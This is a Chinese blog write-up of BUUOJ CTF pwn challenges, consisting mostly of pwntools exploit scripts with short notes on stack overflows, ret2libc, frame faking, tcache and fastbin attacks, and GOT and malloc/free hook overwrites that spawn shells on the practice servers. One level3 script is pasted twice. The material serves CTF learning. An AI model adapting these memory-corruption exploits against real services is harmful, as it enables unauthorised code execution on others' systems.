BUU PWN (二)

最新推荐文章于 2023-07-13 11:40:36 发布
最新推荐文章于 2023-07-13 11:40:36 发布
阅读量881 收藏
点赞数
分类专栏： CTF-PWN
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_39268483/article/details/104210714
版权

BUU PWN (二)

level0

from pwn import *
#p=process('./level0')
p=remote("node3.buuoj.cn","26684")
p.recvline()
payload='a'*0x80+'a'*8+p64(0x400596)
p.sendline(payload)
p.interactive()

ciscn_2019_n_5

ret2libc 注意retn到system时栈要为0x10的倍数

from pwn import *
from LibcSearcher import *
context.log_level='debug'
#p=process('./ciscn_2019_n_5')
p=remote("node3.buuoj.cn","28393")
elf=ELF("./ciscn_2019_n_5")
p.recvline()
p.sendline('1')
p.recvline()
p.recvline()
payload='a'*0x20+'a'*8+p64(0x400713)+p64(elf.got['puts'])+p64(elf.symbols['puts'])+p64(0x400636)
p.sendline(payload)

puts_got=u64(p.recv(6)+'\x00\x00')
print hex(puts_got)
libc=LibcSearcher('puts',puts_got)
libc_base=puts_got-libc.dump('puts')
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')


p.recvuntil("tell me your name\n")
p.sendline('1')
p.recvline()
p.recvline()
paylaod1='a'*0x20+'a'*8+p64(0x4006aa)+p64(0x400713)+p64(bin_sh)+p64(system)
p.sendline(paylaod1)
p.interactive()

ciscn_2019_es_2

题目为32位程序，只能溢出到返回地址，想到了之前的frame faking，且程序正好可以泄露栈地址，将rop链劫持到栈上输入变量的地方即可

from pwn import *
context.log_level='debug'
#p=process('./ciscn_2019_es_2')
p=remote("node3.buuoj.cn","25831")
p.recvline()
#gdb.attach(p,"b *0x080485f4")
payload='a'*0x20+'a'*8
p.send(payload)#leak stack_addr
p.recvuntil('a'*0x28)
stack_addr=u32(p.recv(4))
print hex(stack_addr)
addr=stack_addr-0x38

payload1='a'*4+p32(0x08048400)+'aaaa'+p32(addr+0x10)+'/bin/sh\x00'+'a'*0x10+p32(addr)+p32(0x080485fd)
p.send(payload1)
p.interactive()

ciscn_2019_n_3

程序环境为ubantu18，32位程序，自然而然想到了利用tache，且程序可以覆写got表，并且没开PIE，自然想到覆写got表，而且程序还给了system函数。但是delete是record结构体堆块和record一起释放，而利用free两次任意地址写的攻击方式，对record结构体不适用（record结构体自动赋值，且赋值第一个值为一个函数地址，代码段不可写，会出现地址错误）

不过可以malloc一个和record结构体大小的record，这样就可以绕过。

再接着覆写got表时，由于fgets函数会读取换行覆盖free函数got表时顺带改写了后面一个fgets函数，导致fgets函数出错

可以将fgets函数的got表重新赋值为fgets的延迟定位函数，让他重新定位。

from pwn import *
from LibcSearcher import *
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
context.log_level='debug'
#p=process('./ciscn_2019_n_3')
p=remote("node3.buuoj.cn","26778")
def add(index,size,payload):
    p.recvuntil('CNote > ')
    p.sendline('1')
    p.recvuntil('Index > ')
    p.sendline(str(index))
    p.recvuntil('Type > ')
    p.sendline('2')
    p.recvuntil('Length > ')
    p.sendline(str(size))
    p.recvuntil('Value > ')
    p.sendline(payload)
def show(index):
    p.recvuntil('CNote > ')
    p.sendline('3')
    p.recvuntil('Index > ')
    p.sendline(str(index))
def delete(index):
    p.recvuntil('CNote > ')
    p.sendline('2')
    p.recvuntil('Index > ')
    p.sendline(str(index))
add(0,0x20,'0')
add(1,0xc,'1')
delete(0)
delete(0)
delete(1)
add(2,0x20,p32(0x0804b010))
add(3,0x20,p32(0x0804b010))
#gdb.attach(p,"b *0x0804875e")
add(4,0x20,p32(0x08048500)+p32(0x080484b6))
add(5,0x30,'/bin/sh')
delete(5)
#gdb.attach(p)
p.interactive()

roarctf_2019_easy_pwn

题目有着单字节溢出漏洞，利用其修改size，达到溢出效果，实现fastbin_attack但是malloc_hook下的one_gadget全部失效。只有用到free_hook来解题了。

看了一眼网上的wp是用realloc调整栈来达到one_gadget重新生效。

参考链接如下：https://xz.aliyun.com/t/6559

也就是说将malloc_hook上写上realloc函数的地址+偏移，

而realloc_hook上写上one_gadget。

realloc控制好栈之后，执行onegadget的一个操作

free_hook

from pwn import *
context.log_level='debug'
#p=process('./roarctf_2019_easy_pwn')
p=remote("node3.buuoj.cn","25927")
def add(size):
    p.recvuntil("choice: ")
    p.sendline('1')
    p.recvuntil('size: ')
    p.sendline(str(size))
def edit(index,size,payload):
    p.recvuntil("choice: ")
    p.sendline('2')
    p.recvuntil("index: ")
    p.sendline(str(index))
    p.recvuntil("size: ")
    p.sendline(str(size))
    p.recvuntil("content: ")
    p.send(payload)
def show(index):
    p.recvuntil("choice: ")
    p.sendline("4")
    p.recvuntil("index: ")
    p.sendline(str(index))
def delete(index):
    p.recvuntil("choice: ")
    p.sendline("3")
    p.recvuntil("index: ")
    p.sendline(str(index))
add(0x18)#0
add(0x18)#1
add(0x80)#2
add(0x18)#3
edit(0,34,'a'*0x18+'\xb1')
delete(1)
add(0xa0)#1
payload='\x00'*0x18+p64(0x91)+0x80*'\x00'
edit(1,0xa0,payload)
delete(2)
show(1)
p.recvuntil('\x91'+'\x00'*7)
main_arena=u64(p.recv(6)+'\x00'+'\x00')-88
libc_base=main_arena-0x3c4b20
malloc_hook=main_arena-0x10
fake_chunk=malloc_hook-0x8-3
#one_gadget=libc_base+0x4526a#0x4526a #45216 #f02a4 f1147
free_hook=libc_base+0x3c67a8
fake=free_hook-0xb58
system=libc_base+0x45390
print hex(malloc_hook)
print hex(fake_chunk)
print hex(fake)
print hex(free_hook)
add(0x68)#2

delete(2)
payload1='\x00'*0x18+p64(0x71)+p64(fake_chunk)
edit(1,len(payload1),payload1)
add(0x68)#2
add(0x68)#4
payload2='\x00'*3+'\x00'*0x60+p64(fake)[0:6]
edit(4,0x68+10,payload2)

#print hex(one_gadget)
for i in range(10):
    add(0x100)

add(0x100)
payload3="/bin/sh\x00"+'\x00'*0xa0+p64(system)
edit(15,len(payload3),payload3)
delete(15)
#gdb.attach(p)
p.interactive()

realloc_hook

from pwn import *
context.log_level='debug'
p=process('./roarctf_2019_easy_pwn')
#p=remote("node3.buuoj.cn","25927")
def add(size):
    p.recvuntil("choice: ")
    p.sendline('1')
    p.recvuntil('size: ')
    p.sendline(str(size))
def edit(index,size,payload):
    p.recvuntil("choice: ")
    p.sendline('2')
    p.recvuntil("index: ")
    p.sendline(str(index))
    p.recvuntil("size: ")
    p.sendline(str(size))
    p.recvuntil("content: ")
    p.send(payload)
def show(index):
    p.recvuntil("choice: ")
    p.sendline("4")
    p.recvuntil("index: ")
    p.sendline(str(index))
def delete(index):
    p.recvuntil("choice: ")
    p.sendline("3")
    p.recvuntil("index: ")
    p.sendline(str(index))
add(0x18)#0
add(0x18)#1
add(0x80)#2
add(0x18)#3
edit(0,34,'a'*0x18+'\xb1')
delete(1)
add(0xa0)#1
payload='\x00'*0x18+p64(0x91)+0x80*'\x00'
edit(1,0xa0,payload)
delete(2)
show(1)
p.recvuntil('\x91'+'\x00'*7)
main_arena=u64(p.recv(6)+'\x00'+'\x00')-88
libc_base=main_arena-0x3c4b20
malloc_hook=main_arena-0x10
fake_chunk=malloc_hook-0x20-3
one_gadget=libc_base+0xf1147#0x4526a #45216 #f02a4 f1147
free_hook=libc_base+0x3c67a8
fake=free_hook-0xb58
system=libc_base+0x45390
realloc=libc_base+0x846c0
print hex(malloc_hook)
print hex(fake_chunk)
print hex(fake)
print hex(free_hook)
add(0x68)#2

delete(2)
payload1='\x00'*0x18+p64(0x71)+p64(fake_chunk)
edit(1,len(payload1),payload1)
add(0x68)#2
add(0x68)#4
payload2='\x00'*3+'\x00'*8+p64(one_gadget)+p64(realloc+4)
edit(4,len(payload2),payload2)


#gdb.attach(p)
add(0x40)
p.interactive()

level2

from pwn import *
context.log_level='debug'
#p=process('./level2')
p=remote("node3.buuoj.cn","28171")
p.recvline()
payload='a'*0x88+'a'*4+p32(0x08048320)+'a'*4+p32(0x0804a024)
p.sendline(payload)
p.interactive()

level2_x64

from pwn import *
#p=process('./level2_x64')
p=remote("node3.buuoj.cn","28937")
p.recvline()
payload='a'*0x80+'a'*8+p64(0x4006b3)+p64(0x600a90)+p64(0x4004c0)
p.sendline(payload)
p.interactive()

jarvisoj_tell_me_something

from pwn import *
context.log_level='debug'
#p=process('./guestbook')
p=remote("node3.buuoj.cn","29021")
p.recvline()
payload='a'*0x88+p64(0x400620)
#gdb.attach(p,"b *0x400620")
p.sendline(payload)
p.recv()
p.interactive()

[Black Watch 入群题]PWN

framefaking不过注意转移到堆上时地址尽量向后开辟

from pwn import *
from LibcSearcher import *
context.log_level='debug'
bss=0x0804a300
#p=process('./spwn')
p=remote("node3.buuoj.cn","27659")
elf=ELF('./spwn')
p.recvuntil("name?")
payload='a'*0x180+p32(bss+0x1b0)+p32(elf.symbols['write'])+p32(0x080485a9)+p32(1)+p32(elf.got['read'])+p32(4)+p32(elf.symbols['read'])+p32(0x080485a9)+p32(0x0)+p32(bss+0x1b0)+p32(bss+0x1b0)+p32(0x08048511)
p.send(payload)
p.recvuntil("say?")
#gdb.attach(p,"b *0x08048511")
payload1='a'*0x18+p32(bss+0x180)+p32(0x08048511)
p.send(payload1)

puts_addr=u32(p.recv(4))
print hex(puts_addr)

system_addr=puts_addr-0x99a10
binsh_addr=puts_addr+0x84cdb
payload2='a'*4+p32(system_addr)+'a'*4+p32(binsh_addr)
p.sendline(payload2)

p.interactive()from pwn import *
context.log_level='debug'
#p=process('./level3')
p=remote("node3.buuoj.cn","26554")
elf=ELF('./level3')
p.recvline()
payload='a'*0x88+'a'*4+p32(elf.symbols['write'])+p32(0x08048484)+p32(1)+p32(elf.got['write'])+p32(4)
p.sendline(payload)
puts_addr=u32(p.recv(4))

level3

from pwn import *
context.log_level='debug'
#p=process('./level3')
p=remote("node3.buuoj.cn","26554")
elf=ELF('./level3')
p.recvline()
payload='a'*0x88+'a'*4+p32(elf.symbols['write'])+p32(0x08048484)+p32(1)+p32(elf.got['write'])+p32(4)
p.sendline(payload)
puts_addr=u32(p.recv(4))

print hex(puts_addr)
system=puts_addr-0x99a80
bin_sh=puts_addr+0x84c6b
p.recvline()
payload1='a'*0x88+'a'*4+p32(system)+'a'*4+p32(bin_sh)
p.sendline(payload1)

p.interactive()

level3_x64

from pwn import *
context.log_level='debug'
#p=process('./level3_x64')
p=remote("node3.buuoj.cn","29589")
elf=ELF('./level3_x64')
pop_rdi=0x4006b3
pop_rsi_r15=0x4006b1
p.recvline()
payload='a'*0x80+'a'*8+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(elf.got['write'])+'a'*8+p64(elf.symbols['write'])+p64(0x40061a)
p.sendline(payload)
write_addr=u64(p.recv(6)+'\x00\x00')
print hex(write_addr)
p.recv()
system=write_addr-0xb1f20
bin_sh=write_addr+0x95aa7
payload='a'*0x80+'a'*8+p64(pop_rdi)+p64(bin_sh)+p64(system)
p.sendline(payload)
p.interactive()

level4

from pwn import *
context.log_level='debug'
#p=process('./level3')
p=remote("node3.buuoj.cn","25664")
elf=ELF('./level4')
payload='a'*0x88+'a'*4+p32(elf.symbols['write'])+p32(0x08048470)+p32(1)+p32(elf.got['write'])+p32(4)
p.sendline(payload)
puts_addr=u32(p.recv(4))

print hex(puts_addr)
system=puts_addr-0x99a80
bin_sh=puts_addr+0x84c6b
payload1='a'*0x88+'a'*4+p32(system)+'a'*4+p32(bin_sh)
p.sendline(payload1)

p.interactive()

login

程序溢出写入shell地址,用户名密码验证正确后，执行该地址

from pwn import *
context.log_level='debug'
#p=process('./login')
p=remote("node3.buuoj.cn","25187")
p.recvuntil('username: ')
p.sendline('admin')
payload='2jctf_pa5sw0rd'+'\x00'*2+'\x00'*0x38+p64(0x400e88)
p.recvuntil('password: ')
#gdb.attach(p,"b *0x400dae")
p.sendline(payload)
p.interactive()
playmak3r
关注
专栏目录
buu pwn入门 有栈溢出
Sanntaa的博客
12-03 653
写题笔记
BUU pwn 刷题
qq_36495104的博客
05-19 1602
这里基本都是栈溢出题，没什么技术含量，只作为记录 [第五空间2019 决赛]PWN5 查看保护 开启了canary和栈不可执行保护 IDA反编译得到main函数 int __cdecl main(int a1) { unsigned int v1; // eax int fd; // ST14_4 int result; // eax char nptr; // [esp+4h] [ebp-80h] char buf; // [esp+14h] [ebp-70h] unsigned
BUU PWN（一）
playmaker的博客
01-28 2210
test_your_nc 连上即可拿到shell rip from pwn import * context.log_level='debug' #p=process('./17pwn1') p=remote("node3.buuoj.cn","26137") p.recvuntil("please input\n") payload='a'*0xf+'a'*8+p64(0x401186) p.s...
buu_pwn
王富贵同学的博客
09-29 2036
warmup_csaw_2016 明显的栈溢出漏洞，看到v5的长度为0x40、后门函数的地址为0x40060d
BUU-pwn(一)
Blazing-Angel的博客
04-24 346
rip 简单栈溢出，后门函数 exp from pwn import * #io=process("./pwn") r = remote('node4.buuoj.cn',25253) payload=b'a'*0xf+b'a'*0x08+p64(0x0401187) r.sendline(payload) r.interactive() warmup_csaw_2016 后门函数 int sub_40060D() 泄露地址 exp from pwn import * #io=process("./pw
buuctf-pwn刷题（二）
CHAWUCIREN1的博客
10-15 2106
ciscn_2019_n_1 直接运行一波 猜数字的 checksec file一下 放入ida 发现func函数里面有 东西 这个是一道溢出题，我们输入的数字给v1，但是在进行判断的时候，用的是v2，我们需要溢出v2，使其等于目标值 查看一下栈空间 我们发现v2在栈上04的位置，也就是（0x30-4） 11.28125转化为十六进制为0x41348000 pay load= b’A’*(0x30-4) + p64(0x41348000) from pwn import * payload =
Buu CTF PWN [第五空间2019 决赛]PWN5 WriteUp
m0sway的博客
03-04 433
Buu CTF PWN题第五空间2019 决赛]PWN5的WriteUp
BUU CTF PWN rip WriteUp
m0sway的博客
02-25 5151
BUU CTF PWN题rip的WriteUp
BUUCTF pwn rip
weixin_55190422的博客
11-03 366
现在开始是记录我个人对BUU上PWN题的刷题记录。 首先是一个ELF文件，放到Linux里面来看。 首先老套路checksec一下 接着我们将这个文件放到IDA中静态分析、 shift F12 一下看看敏感字段 我们发现里面有个系统调用函数。我们查看下汇编代码 我们查看Stack of main 视图发现只要存入15个字节就可以返回fun函数 所以payload: from pwn import * p = remote('node4.buuoj.cn',...
BUU-pwn(二)
Blazing-Angel的博客
04-27 339
ciscn_2019_n_8 32位程序，逻辑很简单 需要var[13] == 17 需要注意的是qword全称是Quad Word。2个字节就是1个Word（1个字，16位），q就是英文quad-这个词根（意思是4）的首字母，所以它自然是word（2字节，0~2^16-1）的四倍，8字节 所以用p64 exp from pwn import * r = remote('node4.buuoj.cn',29396) payload = b'aaaa'*13+p64(0x11) r.sendline(p
BUU-pwn(四)
Blazing-Angel的博客
09-04 194
BUU-pwn(四)
BUUCTF PWN（2）
qq_60794823的博客
09-28 256
首先先用checksec查看开启了什么保护可以看到只开启了NX保护，即堆栈不可执行用32位的IDA打开附件，shift+f12查看字串打开main函数查看vuln函数，发现存在栈溢出漏洞的函数，**fgets(s, 32, edata)**这里对gets作出了限制，32（0x20）而s的大小0x3c>0x20所以不能造成溢出。这道题就不能解决了吗，结果肯定不是这样的仔细查看C代码可以发现，函数实现了字符串替换，将I替换为you，并将结果重组赋值给s。
BUU-pwn(三)
Blazing-Angel的博客
06-19 306
pwn(三)
Buuoj Pwn
VisualNull的博客
05-22 310
babyrop WP 一道比较简单的ret2libc 考察点为strlen函数遇到\x00返回 但是有一个坑 IDA逆向拿到伪代码 main函数 逻辑是程序开始运行时读入一个随机数 然后传给并调用sub_804871F函数 sub_804871F函数 a1为main函数传入的随机数(buff) 格式化后将a1给了s 之后从终端读入数据给buf 然后将数组buf的某个元素变为0（这是一个坑） 之后获取buf的长度（strlen函数） 这里是第一个利用..
buuoj pwn
FFY's Blog
10-07 1092
ret2text rip pwntools gdb 调试 gdb.debug(’./xxx’) pause() 在弹出窗口设好断点，用 python 传递不可打印字符 堆栈平衡，简单溢出 from pwn import * #context.log_level='debug' #p=remote('node3.buuoj.cn',27864) #p=gdb.debug('./pwn1') #pause() target_addr=0x401186 ret_addr=0x401016 pay='a'*(
BUU刷题-Pwn-test
一个啥也不会的小菜鸡！
07-13 104
直接执行即可，获得主机权限！
buu的pwn1_sctf_2016
xieyichensss的博客
03-18 777
**（学生党太菜了）** pwn_sctf_2016 1.拿到文件，首先checksec并file一下。 发现NX打开了，哦 糟糕.不过不慌，我们下一步打开IDA看一哈 2.用32位的IDA打开他，反汇编一下。双击vuln（）函数。 得到这一大堆我看不懂的东西，不过我看到最后有strcpy函数，知道是一个栈溢出的问题。s的大小为0h3c，且函数中出现I和you，着重分析他俩（经过一系列的百度）。得到最后是用you代替I，这样输入20个I就可以溢出到ebp了。 3.我又在全部函数中找啊找，发现...
BUUOj PWN 121-140
2h4ox1n9
12-17 146
121、ciscn_2019_final_5 122、picoctf_2018_are you root 123、[BJDCTF 2nd]diff 124、bjdctf_2020_YDSneedGrirlfriend 125、judgement_mna_2016 126、gyctf_2020_document 127、护网杯_2018_gettingstart 128、xman_2019_format
buuoj Pwn wp 1-10
yongbaoii的博客
01-09 694
01 test_your_nc 直接连上就好了。 然后 cat flag 。 02 rip ret2text. 这题多多少少有点问题。 IDA里面是这样的，但是exp一直有问题，然后试着连上直接跑，是这样的。 栈溢出到返回地址就行。 from pwn import* r = remote("node3.buuoj.cn",26737) context.log_level = "debug" system_addr = 0x401187 payload = 'a' * 23 + p64(syste
buu cipher
最新发布
10-23
Buu Cipher 的加密过程可以简单地分为两个步骤：混淆和扩散。 首先，混淆步骤使用一个密钥和置换表对明文进行置换。置换表是由密钥生成的，用于打乱明文中字符的顺序。这样，原本明文中相邻的字符将被分散到密文中...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值